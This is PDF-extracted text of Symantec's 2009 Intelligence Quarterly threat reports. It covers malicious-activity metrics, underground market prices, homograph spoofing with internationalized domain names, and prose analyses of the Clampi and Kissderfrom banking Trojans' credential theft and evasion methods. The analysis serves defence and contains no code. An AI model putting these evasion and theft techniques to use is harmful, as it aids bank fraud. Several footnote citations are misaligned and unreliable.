websites on the Internet. It also includes server detection from spam emails. The sender confirms all spoofed websites
before sending the address of the website into the PRN. After it is received by the PRN, Symantec spoof detection
technology is used to verify that the website is a spoof site. Research analysts manage the PRN console 24 hours a day,
365 days of the year, and manually review all spoof sites sent into the PRN to eliminate false positives.Symantec Intelligence Quarterly
July - September, 2009
23Credits
Marc Fossi
Executive Editor
Manager, Development
Security Technology and ResponseDean Turner
Director, Global Intelligence Network
Security Technology and Response
Eric Johnson
Editor
Security Technology and ResponseTrevor Mack
Editor
Security Technology and Response
John Ostrander
Editor
Security Technology and ResponseGreg Ahmad
Threat Analyst
Security Technology and Response
Joseph Blackbird
Threat Analyst
Security Technology and ResponseTaisya Krivoruchko
Threat Analyst
Security Technology and Response
Mo King Low
Threat Analyst
Security Technology and ResponseDebbie Mazurek
Threat Analyst
Security Technology and Response
David McKinney
Threat Analyst
Security Technology and ResponseAdrian Pisarczyk
Threat Analyst
Security Technology and Response
Keith Rogers
Threat Analyst
Security Technology and ResponseSymantec Intelligence Quarterly
July - September, 2009
24
|
Symantec Intelligence
Quarterly
October - December, 2009
White Paper: Symantec Intelligence Quarterly
Symantec Intelligence Quarterly
October - December, 2009
Contents
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Highlights . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Internationalizing top-level domain names . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Banking Trojans . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Appendix A—Contributors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12Introduction
Symantec has established some of the most comprehensive sources of Internet threat data in the world through the
Symantec™ Global Intelligence Network. More than 240,000 sensors in over 200 countries monitor attack activity through
a combination of Symantec products and services such as Symantec DeepSight™ Threat Management System, Symantec™
Managed Security Services and Norton™ consumer products, as well as additional third-party data sources.
Symantec also gathers malicious code intelligence from more than 130 million client, server, and gateway systems that
have deployed its antivirus products. Additionally, the Symantec distributed honeypot network collects data from around
the globe, capturing previously unseen threats and attacks and providing valuable insight into attacker methods.
Spam data is captured through the Symantec probe network, a system of more than 2.5 million decoy email accounts,
Symantec MessageLabs™ Intelligence, and other Symantec technologies in more than 86 countries from around the globe.
Over 8 billion email messages, as well as over 1 billion Web requests, are scanned per day across 16 data centers.
Symantec also gathers phishing information through an extensive antifraud community of enterprises, security vendors,
and more than 50 million consumers.
These resources give Symantec analysts unparalleled sources of data with which to identify, analyze, and provide
informed commentary on emerging trends in attacks, malicious code activity, phishing, and spam.
An important note about these statistics
The statistics discussed in this document are based on attacks against an extensive sample of Symantec customers. The
attack activity was detected by the Symantec Global Intelligence Network, which includes Symantec Managed Security
Services and Symantec DeepSight Threat Management System, both of which use automated systems to map the IP
address of the attacking system to identify the country in which it is located. However, because attackers frequently use
compromised systems situated around the world to launch attacks remotely, the location of the attacking system may
differ from the location of the attacker.
Highlights
•The United States was the top country for malicious activity during this period, accounting for 18 percent of the
global total.
•Credit card information was the most commonly advertised item for sale on underground economy servers
known to Symantec, accounting for 18 percent of all goods and services during this period.
•The top Web-based attack for the quarter was related to malicious Adobe® Acrobat® PDF activity, which
accounted for 47 percent of the total.
•Symantec created 921,143 new malicious code signatures during this quarter.
•The most common malicious code sample by potential infections during this quarter was the Sality worm.
•The majority of brands used in phishing attacks this quarter was in the financial sector, accounting for 73
percent of the total.Symantec Intelligence Quarterly
October - December, 2009
1Metrics
Malicious activity by country
This metric will assess the countries in which the highest amount of malicious activity took place or originated. Rankings
are determined by calculating the average of the proportion of malicious activity that originated in each country.
The United States was the top ranked country for malicious activity this quarter, accounting for 18 percent of the total
(table 1). Within specific category measurements, the United States ranked first by a large margin in malicious code,
phishing website hosts, and attack origin.
Table 1. Malicious activity by country/region
Source: Symantec Corporation
Brazil had the second highest amount of overall worldwide malicious activity this quarter, accounting for seven percent of
the total. Within specific category measurements, Brazil ranked first in spam zombies by a significantly large margin.
Top Web-based attacks
This metric will assess the top distinct Web-based attacks that originate from either compromised legitimate sites or
malicious sites that have been created to intentionally target Web users.
In this quarter, the top Web-based attack was related to malicious Adobe Acrobat PDF activity, which accounted for 47
percent of Web-based attacks (table 2). Attempts to download suspicious PDF documents were specifically observed. This
may indicate attempts by attackers to distribute malicious PDF content to victims via the Web. The attack is not directly
related to a specific vulnerability, although the contents of the malicious file would be designed to exploit an arbitrary
vulnerability in an application that processes it, such as Adobe Acrobat Reader®. This attack may be popular due to the
common use and distribution of PDF documents on the Web, and to the practice of configuring browsers to automatically
render PDF documents by default.Symantec Intelligence Quarterly
October - December, 2009
2Table 2. Top Web-based attacks
Source: Symantec
The second most common Web-based attack this quarter was associated with the Microsoft Internet Explorer
ADODB.Stream Object File Installation Weakness, 1which accounted for 26 percent of the total globally. The weakness
allows attackers to install malicious files on vulnerable computers when users visit websites hosting an exploit. To carry
out this attack, an attacker must exploit another vulnerability that bypasses Internet Explorer security settings, allowing
the attacker to execute malicious files installed by the initial security weakness. This issue was published on August 23,
2003, and fixes have been available since July 2, 2004. The continued popularity of this Web-based attack may indicate
that many computers running Internet Explorer have not been patched or updated and are running with this exposed
weakness.
Underground economy servers—goods and services available for sale
Underground economy servers are online black market forums for the promotion and trade of stolen information and
services. This section discusses the most frequently observed items advertised for sale on these servers.
In this quarter, the most frequently advertised item observed on underground economy servers was credit card
information, accounting for 18 percent of all goods (table 3). Prices for credit card information ranged from $1 to $100
depending on the type of card, the country of origin and the amount of bundled personal information used for card holder
verification. 2Bulk purchases were advertised as being available, but Symantec did not observe any rate-to-volume prices
this quarter.
1-http://www.securityfocus.com/bid/10514
2-http://www.securityfocus.com/bid/10514Symantec Intelligence Quarterly
October - December, 2009
3Table 3. Goods and services for sale on underground economy servers
Source: Symantec
The second most commonly advertised good on underground economy servers during this quarter was bank account
credentials, accounting for 13 percent of all advertised goods. The advertised price for bank account credentials ranged
from $2 to $1000, depending on the amount of funds available and the type of account. The average advertised bank
account balance this quarter was $50,000. Symantec observed one account with a purported balance between $75,000
and $450,000 being advertised for sale for $300.
Top malicious code samples
The most common malicious code sample measured by potential infections during this quarter was the Sality worm (table
4).3This worm infects executable files on compromised computers and removes security applications and services. Once
the worm is installed it also attempts to download and install additional threats onto infected computers.
Table 4. Top malicious code samples
Source: Symantec
3-http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99Symantec Intelligence Quarterly
October - December, 2009
4The second ranked malicious code sample for potential infections during this quarter was SillyFDC. 4This worm propagates
by copying itself to any removable media devices attached to the compromised computer. As with Sality, this worm also
attempts to download and install additional threats once it is installed on a computer.
Top phishing sectors
The majority of brands used in phishing attacks this quarter were in the financial services sector, accounting for 73
percent of the total (table 5). The financial sector is commonly the largest sector targeted in phishing attacks because the
various associated services are the most likely to yield data that could be directly used for financial gain. Many phishing
attacks that spoof financial services brands will prompt users to enter credit card information or banking credentials into
fraudulent sites. If this succeeds, the phishers can then capture and sell such information in the underground economy.
Table 5. Top phishing sectors
Source: Symantec
The second largest percentage of brands used in phishing attacks in this quarter was in the ISP sector, which accounted
for 11 percent of the total number of phishing attacks detected. ISP accounts can be valuable to phishers as they may
contain email accounts, Web-hosting space, and authentication credentials.
Internationalizing top-level domain names
The Internet Corporation for Assigned Names and Numbers (ICANN), the organization responsible for overseeing the
Internet’s naming and numbering systems, recently announced details of a process to assign internationalized top-level
domains. 5Touted as one of the most significant advances to the Internet since its inception, this change allows users from
4-http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2006-071111-0646-99
5-http://tools.ietf.org/html/rfc3492Symantec Intelligence Quarterly
October - December, 2009
5around the world use their own local languages and scripts to navigate the Internet. This decision is expected to have
wide-ranging repercussions, with new advancements expected in sectors such as online education and business services
in new languages and new markets. This article looks at how non-Latin characters can be used to navigate the Internet
and some potential challenges of the new rules.
What is an Internationalized Top-level domain?
The Domain Name System (DNS) is used to translate the familiar labels of the Internet (the domain names that are easier
for people to comprehend, such as www.example.com) into numerical IP addresses (e.g. 192.168.0.1) that computers
understand. DNS uses a hierarchical structure with the top reserved for top-level domains (TLDs) such as .com and .org, or
country-code top-level domains (ccTLDs) such as .uk and .ca. An early limitation of DNS was that it restricted domains to a
subset of ASCII code that included only the letters a-z, digits 0-9, and the hyphen '-' character. 6In contrast, an
internationalized TLD is a top-level domain that can use a wide range of characters beyond the original, limited Latin/
ASCII set. For example, the first request to ICANN for an internationalized TLD was for رصم( which transliterates from
Arabic as .masr or .misr and means “Egypt”). 7
How are internationalized top-level domains converted?
DNS understands only the letter, digit, hyphen (LDH) subset of ASCII characters, but there are thousands of characters not
represented by ASCII that are in common use throughout the world, such as characters of other widely used languages
(e.g., Arabic, Cyrillic, etc.). Because these characters are now permitted in internationalized TLDs, DNS needs some way to
convert them into ASCII. This conversion process involves two other standards, Unicode 8and Punycode. 9Internationalized
TLDs are represented by Unicode code points and these points are then converted to ASCII using Punycode.
What is Unicode?
Unicode is a standard for defining universal character encoding put in place by the Unicode Consortium. Unlike ASCII
encoding, which is limited to one byte, Unicode can be represented by up to four bytes. Unicode currently covers in excess
of 107,000 characters from 90 scripts. It has become the de facto standard for encoding characters, and has been
implemented in many common computing technologies, including XML, Java, Microsoft's .NET Framework, and most
modern operating systems. Unicode defines a range of up to 1,114,112 code points. A Unicode code point is written as
“U+” followed by the character's assigned hexadecimal number. For example, “A” (in Unicode-speak, LATIN CAPITAL
LETTER A) is U+0041.
What is Punycode?
Punycode is designed to help convert the Unicode representation of a character to an ASCII code representation
understood by DNS. Punycode is an implementation of an encoding algorithm, called Bootstring, and has two basic
functions: “ToASCII” and “ToUnicode.” A string that has been converted with Punycode will be prepended with the
reserved string “xn--“ and then followed by the ASCII representation that the algorithm constructs. For example, the .test
domain (reserved for testing by ICANN) in Arabic expands from رابتخإ to “xn--kgbechtv.”
6-http://securityfocus.com/bid/12461
7-http://www.securityfocus.com/bid/36982
8-http://www.securityfocus.com/bid/35799
9-http://en.allexperts.com/e/i/id/idn_homograph_attack.htmSymantec Intelligence Quarterly
October - December, 2009
6Implications of internationalized top-level domains
Unicode and Punycode conversions add extra layers of complexity when a domain name is converted—first to its Unicode
representation, then with the Punycode ToASCII function into its ASCII representation—so that DNS can map out the
correct IP address. As the process becomes more complex, security implications have emerged in how operating systems
and applications implement these technologies. For example, in 2005, a security issue was reported in multiple Web
browsers relating to Punycode and Unicode IDN representations. 10In another example, a buffer-overflow vulnerability in
the Unicode library of Apple® Mac® OS X was discovered that allows an attacker to run arbitrary code when a user
downloads or views specially crafted data. 11Other errors may occur within specific applications, such as a parsing problem
in Microsoft Internet Explorer that will cause a crash if an unsuspecting user visits a specially crafted website.12
Another problem with Unicode is simple human fallibility, rather than a specific application or operating system error. For
example, allowing internationalized TLDs significantly expands the potential for homograph spoofing attacks (in which
one character is substituted for a different, similar-looking one). For example in www.bankexample.com, the Unicode “a”
(U+0061 LATIN SMALL LETTER A) might be replaced with the virtually identical Cyrillic “a” (U+0430 CYRILLIC SMALL
LETTER A).13These subtleties could easily fool an inattentive or unaware user and are being increasingly used by attackers
to fool unsuspecting users into visiting malicious phishing websites. Similarly, punctuation control characters within the
URI can be spoofed with other look-alike characters. For example, a vulnerability was discovered where a browser was
unable to parse the display of different characters resembling the forward slash (“/”).14
ICANN refers to these kinds of easily-spoofed characters as “variant characters” and work is ongoing on how best to deal
with them. One current proposal is to identify variant forms of the base request and classify them as desired or
undesired.15Undesired forms would then be permanently blocked and never assigned. This is a daunting undertaking at
best; with there being well over a million potential Unicode code points and 107,000 unique characters to consider,
potential variant characters could easily be overlooked until after an attacker has successfully launched a spoofing attack.
An additional proposal under ICANN consideration is some sort of system to automatically delegate variant top-level
domains; this may not be a feasible option either, since many corporations and organizations already purchase
homographic and typographic domains as preventative measures against phishing attacks and it may appear unfair to
automatically delegate the variant domains in internationalized TLDs when this has not been the practice in the past.
Another significant implication of internationalized TLDs may be that, along with having a significantly expanded range of
domain name variations to exploit, attackers may have a significantly expanded target pool because of the expected influx
of a large number of new and potentially unaware Internet users (who previously may have been restricted from using the
Internet due to language and script barriers). New computer users are often less informed than experienced users on the
dangers of phishing, identity theft, and malware, and Symantec expects a corollary increase in regionalized attacks
because of this.
While it has been a long time coming, internationalizing the Internet is finally a reality. Overcoming the technical
challenges involved in implementation is an ongoing process, but the challenges have been identified and solutions are
being put in place. Users should defend themselves at all times as much as possible against these challenges.
10-http://securityfocus.com/bid/33837
11-http://www.icann.org/en/announcements/announcement-2-03dec09-en.htmSymantec Intelligence Quarterly
October - December, 2009
7Banking Trojans
The rise of the Internet has transformed business sectors such as banking and finance. For example, once novelties, online
banking and other online financial transactions are now common. With this evolution, though, has come a concurrent
expansion of online criminal activities such as theft and fraud; attackers have developed sophisticated malicious programs
to steal sensitive information such as online banking credentials and credit card numbers. While instances of banking
malware have been observed in the wild for many years, Symantec has observed a significant increase recently in the
sophistication of these programs.
As is the trend with many malicious applications, such applications targeting the banking and financial sectors are
increasingly being spread through the Web via means such as social engineering attacks or drive-by-downloads. 12As is
also typical of many such malicious applications, once installed on affected computers, banking malware is usually
controlled remotely by attackers through command-and-control (C&C) servers that provide the programs with ongoing
instructions. Along with stealing funds by compromising online banking and other financial transactions, attackers can
also use these programs to collect other sensitive personal information from victims that may subsequently be sold in the
underground economy.
Banking malware frequently includes complex functionality to avoid being detected by the user or security solutions, such
as antivirus software or firewall protections. Attackers are also now employing obfuscation techniques such as mule
accounts to further elude discovery and to enable the transfer of funds internationally. Fraudsters pay third parties a fee
to create these mule accounts, which they then use as a staging account to launder the money stolen from victims’
accounts.
What follows is an analysis of two sophisticated malicious programs designed to target online banking.
Trojan.Clampi
Clampi 13is a Trojan that attempts to steal online banking authentication credentials. It has been linked to groups based in
Eastern Europe, and appears to mostly target victims in English-speaking countries, with the United States, the United
Kingdom, Canada, and New Zealand being among the top affected countries. 14In addition to stealing online credentials,
the program steals other sensitive and private information, such as locally stored authentication credentials and software
licenses associated with various applications. Along with being continuously improved by malicious code developers since
it was first identified in 2005, a significant rise in the number of Clampi variants has been observed since 2008. 15
Typically, Clampi infects computers through drive-by downloads. Once installed, it contacts its C&C servers through the
HTTP protocol to obtain additional modules in the form of DLL files. This modular functionality facilitates various features
of Clampi, including the collection and transfer of sensitive information such as authentication credentials and financial
data, as well as enabling Clampi to further propagate itself through remotely accessible shared drives on the network.
Two of the modules that Clampi uses to gather credentials from online banking and financial accounts are called “logger” 16
and “loggerext”. 17The logger module injects code into Microsoft Internet Explorer and hooks application programming
12-http://www.symantec.com/security_response/writeup.jsp?docid=2009-100110-3032-99
13-http://www.finjan.com/MCRCblog.aspx?EntryId=2345
14-http://www.rsa.com/blog/blog_entry.aspx?id=1530
15-http://www.finjan.com/MCRCblog.aspx?EntryId=2345
16-Identified affected browsers include Microsoft Internet Explorer, Mozilla Firefox and other Mozilla-based browsers, MyIE, Avant, and Maxthon; please see http://www.finjan.com/MCRCblog.aspx?EntryId=2345
17-One-time password protection means that a user gets a new password on every login.Symantec Intelligence Quarterly
October - December, 2009
8interfaces (APIs) used by the browser to open websites. 18When a user visits a website, the malware compares the site’s
address entered in the browser with a list of site addresses shipped with Clampi and stored locally on the computer in a
data file. If a match is found, data sent to the site by a user will also be sent to Clampi’s C&C servers. Through this
technique, the malware is able to steal any authentication credentials or other sensitive data that the user sends.
The loggerext module is used to defeat enhanced security measures employed by some sites. This includes sites that use
client-side JavaScript to process user information, such as hashing authentication credentials prior to transferring them
over a network.23In order to defeat this protection, an attacker must either install a keystroke logging application or else
intercept user credentials on an affected computer before they are processed by client-side JavaScript. Clampi uses the
second approach by hooking into JavaScript code routines that process user credentials. To monitor domains using
hashing authentication credentials, loggerext matches addresses to those in a locally stored file in a similar fashion to the
logger module. Once a match is found, the Trojan replaces that site’s JavaScript code in targeted pages with malicious
JavaScript code of its own. This allows the Trojan to intercept and steal a user’s password before a password hash is
created and sent to the site. Clampi stores the original JavaScript code and puts it back in place of the malicious code
after the credentials have been obtained. The module then calls the original JavaScript routines to make it appear that
user authentication to the visited site is occurring as expected without raising any suspicion. Symantec research indicates
that most of the domains monitored by Clampi are based in the Unites States and include sites belonging to financial
institutions and online payment companies.24
Two other modules used by Clampi are called “prot” and “accounts”.25These are used to steal locally stored authentication
credentials and other information. The prot module steals information for Microsoft Windows Protective Storage (PStore),
which is used to store credentials by various Microsoft applications such as Internet Explorer, Outlook® and others. This
module is also used to steal registration information and software licenses belonging to other applications on the system.
The accounts module uses a commercial password recovery application to collect passwords from sources other than
PStore and the Windows registry.26
Clampi is a multipurpose and complex example of a banking Trojan. The application includes various protective features
that are designed to complicate analysis and obfuscate its activities. The malware is also able to bypass most local
firewalls because it communicates over TCP port 80, which most networks set as open for HTTP communications.27It also
encrypts data using the Blowfish28symmetric block cipher prior to sending it to a C&C server.29This conceals information
in data transfers from being disclosed to third parties or data-loss-prevention (DLP) solutions. Furthermore, to protect its
modules and executable functions, Clampi is designed to use a commercially-available tool called VMProtect, which
compresses and virtualizes code and significantly increases the difficulty of white-box analysis.30
With its sophistication, versatility, and complexity, Clampi demonstrates the progression of banking Trojans. Clampi
represents the evolution of the financial threat landscape and confirms that attackers are using increasingly advanced
techniques in order to not only steal money, but to protect their malicious applications and hide their activities.
Trojan.Kissderfrom
First discovered in October 2009, Kissderfrom31is designed to access online bank accounts and then transfer any funds to
accounts controlled by the attacker via mule accounts. Also known as URLZone, Kissderfrom was initially developed to
target German bank accounts. It is considered a noteworthy banking Trojan because of the innovative measures it uses to
18-Symantec Intelligence Quarterly
October - December, 2009
9conceal its activities from users. This includes forging users’ bank statements, as well as its innovative means of thwarting
detection and analysis, including ensuring that any funds taken from a victim’s account do not exceed the transactional or
daily limits often imposed by banks to ensure that no alarms are triggered.
Kissderfrom spreads by using a toolkit named LuckySploit. This toolkit works by compromising websites and then
installing exploits that subsequently download and install the Trojan.32The compromised computer then becomes part of
a bot network controlled by the attacker. Kissderfrom is also designed to detect the legitimacy of the bot using a unique
identification number provided by its C&C servers. This ensures that the Trojan instance is legitimate and is not one
installed by a security researcher for testing or analysis. If an instance is found to be foreign (i.e., run by a security
researcher), the funds are transferred from the infected machine to fake mule accounts. This prevents the actual mule
accounts from being exposed, and also keeps them from being blocked by banking and financial organizations. More than
400 mule accounts have been observed being used in this manner, and this is the first time that a banking Trojan has
been observed to be using this technique.33
After successfully being installed on a victim’s computer, Kissderfrom injects itself into the “svchost.exe” process and then
sets up a continuous contact schedule with its parent C&C server.34The bot is dependent on the C&C server for its
encrypted configuration files. These configuration files contain details of the banking sites to be monitored, along with
other information.
Once on a computer, Kissderfrom monitors the system to see if a process associated with certain browser applications has
been executed.35If an instance of one of these affected browsers is run, the malicious program then decrypts the
configuration file, hooks into the application, and captures the first 2000 bytes sent by the user through HTTP POST
requests. The data being sent by the user would contain account authentication details, which can then be used by the
program for future transactions. The Trojan hooks into the process exactly at the point when a user confirms a transaction
and modifies requested transaction information according to the account and fund details provided in the configuration
file. This facilitates an interesting feature of the malware, where it modifies the transaction details in HTML pages of the
account statement sent by the server to the user. This effectively hides the Trojan’s malicious banking transactions from
the user, who only sees what appear to be the expected transactions and is unaware of any malicious activity. The only
way to see the malicious transactions would be to view the account statement from a clean system.
Kissderfrom is another example of the high level of sophistication being included in the latest banking Trojans. Reports
indicate that it may even be capable of bypassing the one-time password protection commonly used by some banks and
financial institutions because it works inside the browser to hook APIs in order to intercept and modify information after
the user has authenticated and supplied the password.36In the future, such Trojans may evolve to encompass even more
robust features and evasion techniques for financial theft and fraud.
Conclusion
Banking Trojans have become an essential element of the underground economy. The progression and development of
banking Trojans coincides with the evolution of the underground economy and with advancements in the security
mechanisms of financial institutions to combat such threats. As banking sites deploy improved technologies to protect
their assets and customers, attackers are also deploying increasingly intricate attack methods combined with
sophisticated applications to defeat countermeasures and steal funds. The two examples described here demonstrate thatSymantec Intelligence Quarterly
October - December, 2009
10theft and fraud are increasingly being automated and that attackers are employing various methods to protect their
applications and obfuscate their activities. It also appears that attackers often carry out these attacks against targeted
regions and countries in order to maximize their returns. Finally, the sophistication of banking malware indicates that a
significant amount of investment has gone into the development of these programs, which indicates that they continue to
be successful malicious tools and financially rewarding for attackers.Symantec Intelligence Quarterly
October - December, 2009
11Appendix A—Contributors
Marc Fossi
Executive Editor
Manager, Development
Security Technology and ResponseDean Turner
Director, Global Intelligence Network
Security Technology and Response
Téo Adams
Threat Analyst
Security Technology and ResponseGreg Ahmad
Threat Analyst
Security Technology and Response
Joseph Blackbird
Threat Analyst
Security Technology and ResponseBrent Graveland
Threat Analyst
Security Technology and Response
Eric Johnson
Editor
Security Technology and ResponseTrevor Mack
Editor
Security Technology and ResponseT
Debbie Mazurek
Threat Analyst
Security Technology and ResponseJohn Ostrander
Editor
Security Technology and Response
Chintan Trivedi
Threat Analyst
Security Technology and ResponseSymantec Intelligence Quarterly
October - December, 2009
12
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.